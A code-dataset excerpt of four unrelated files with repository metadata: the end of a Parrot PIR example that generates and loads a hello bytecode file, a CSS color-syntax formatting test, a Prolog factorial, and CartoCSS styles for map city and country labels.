$P0['name'] = 'hello'
$P0['subid'] = 'hello'
$P0['ns_entry_name']= 'hello'
$P0['method'] = ''
$P0['HLL_id'] = 0
$P0['vtable_index'] = -1 # It required to store sub in namespace
$P1 = new 'Sub', $P0
# and store it in PackfileConstantTable
push pfconst, $P1
# Now pack Packfile and save it
$S0 = pf
$P1 = new ['FileHandle']
$P1.'open'("generated_hello.pbc", "w")
$P1.'print'($S0)
$P1.'close'()
# And check it!
load_bytecode 'generated_hello.pbc'
$P1 = find_sub_not_null 'hello'
$P1()
.end
# Local Variables:
# mode: pir
# fill-column: 100
# End:
# vim: expandtab shiftwidth=4 ft=pir:
| Parrot Internal Representation | 4 | winnit-myself/Wifie | examples/pir/make_hello_pbc.pir | [
"Artistic-2.0"
] |
/* https://www.w3.org/TR/css-color-4 */
foo {
color: rgb(0, 128, 255);
color: rgba(0, 128, 255, 0.5);
color: hsl(198, 28%, 50%);
color: hsla(198, 28%, 50%, 0.5);
color: lab(56.29% 019.93 16.58 / 50%);
color: lch(56.29% 19.86 236.62 / 50%);
/* color(sRGB 0 0.50 1 / 50%); */
}
bar {
color: rgb(0 128 255);
color: rgb(0 128 255 / 50%);
color: hsl(198deg 28% 50%);
color: hsl(198deg 28% 50% / 50%);
color: lab(56.29% 019.93 16.58 / 50%);
color: lch(56.29% 19.86 236.62deg / 50%);
}
| CSS | 4 | tumido/prettier | tests/format/css/color/color-level-4.css | [
"MIT"
] |
factorial(0, 1).
factorial(1, 1).
factorial(A, B) :-
A > 1, C is A-1, factorial(C, Y), B is A * Y. | Prolog | 4 | Mynogs/Algorithm-Implementations | Factorial/Prolog/jcla1/factorial.prolog | [
"MIT"
] |
@sans:"Droid Sans Book","Arial Regular","DejaVu Sans Book";
@sans_bold:"Droid Sans Bold","Arial Bold","DejaVu Sans Bold";
@primary: #484848;
#country-labels[zoom>3] {
text-name:'[NAME]';
text-face-name:@sans_bold;
text-fill: @primary;
text-size:11;
text-wrap-width:40;
text-line-spacing:2;
[zoom>5] { text-size:12; }
}
#cities {
[SCALERANK<3][zoom>=4],
[SCALERANK=3][zoom>=5],
[SCALERANK=4][zoom>=5],
[SCALERANK=5][zoom>=6],
[SCALERANK=6][zoom>=6],
[SCALERANK=7][zoom>=7],
[SCALERANK=8][zoom>=7],
[SCALERANK=9][zoom>=8],
[SCALERANK=10][zoom>=8] {
text-name:'[NAMEASCII]';
text-face-name:@sans;
text-fill:@primary;
text-size:10;
}
[zoom=4] {
[SCALERANK<3] { text-size: 12; }
}
[zoom=5] {
[SCALERANK<3] { text-size: 13; }
[SCALERANK=3] { text-size: 12; }
[SCALERANK=4] { text-size: 11; }
}
[zoom=6] {
[SCALERANK<3] { text-size: 14; }
[SCALERANK=3] { text-size: 13; }
[SCALERANK=4] { text-size: 12; }
[SCALERANK=5] { text-size: 11; }
}
[zoom=7] {
[SCALERANK<3] { text-size: 15; }
[SCALERANK=3] { text-size: 14; }
[SCALERANK=4] { text-size: 13; }
[SCALERANK=5] { text-size: 12; }
[SCALERANK=6] { text-size: 11; }
[SCALERANK=7] { text-size: 11; }
}
[zoom=8] {
[SCALERANK<3] { text-size: 15; }
[SCALERANK=3] { text-size: 15; }
[SCALERANK=4] { text-size: 14; }
[SCALERANK=5] { text-size: 14; }
[SCALERANK=6] { text-size: 13; }
[SCALERANK=7] { text-size: 13; }
[SCALERANK=8] { text-size: 12; }
[SCALERANK=9] { text-size: 11; }
}
[zoom=9] {
[SCALERANK<3] { text-size: 16; }
[SCALERANK=3] { text-size: 16; }
[SCALERANK=4] { text-size: 15; }
[SCALERANK=5] { text-size: 15; }
[SCALERANK=6] { text-size: 14; }
[SCALERANK=7] { text-size: 14; }
[SCALERANK=8] { text-size: 13; }
[SCALERANK=9] { text-size: 13; }
[SCALERANK=10] { text-size: 12; }
}
[zoom=10] {
[SCALERANK<3] { text-size: 16; text-character-spacing:2; }
[SCALERANK=3] { text-size: 16; text-character-spacing:2; }
[SCALERANK=4] { text-size: 15; text-character-spacing:1; }
[SCALERANK=5] { text-size: 15; text-character-spacing:1; }
[SCALERANK=6] { text-size: 15; text-character-spacing:1; }
[SCALERANK=7] { text-size: 14; }
[SCALERANK=8] { text-size: 14; }
[SCALERANK=9] { text-size: 13; }
[SCALERANK=10] { text-size: 13; }
}
[zoom>10] {
[SCALERANK<3] { text-size: 16; text-character-spacing:3; }
[SCALERANK=3] { text-size: 16; text-character-spacing:3; }
[SCALERANK=4] { text-size: 16; text-character-spacing:3; }
[SCALERANK=5] { text-size: 15; text-character-spacing:2; }
[SCALERANK=6] { text-size: 15; text-character-spacing:2; }
[SCALERANK=7] { text-size: 15; text-character-spacing:2; }
[SCALERANK=8] { text-size: 14; text-character-spacing:1; }
[SCALERANK=9] { text-size: 14; text-character-spacing:1; }
[SCALERANK=10] { text-size: 14; text-character-spacing:1; }
}
} | CartoCSS | 4 | pwnartist/underoot | maps/kibana/labels.mss | [
"Apache-2.0"
] |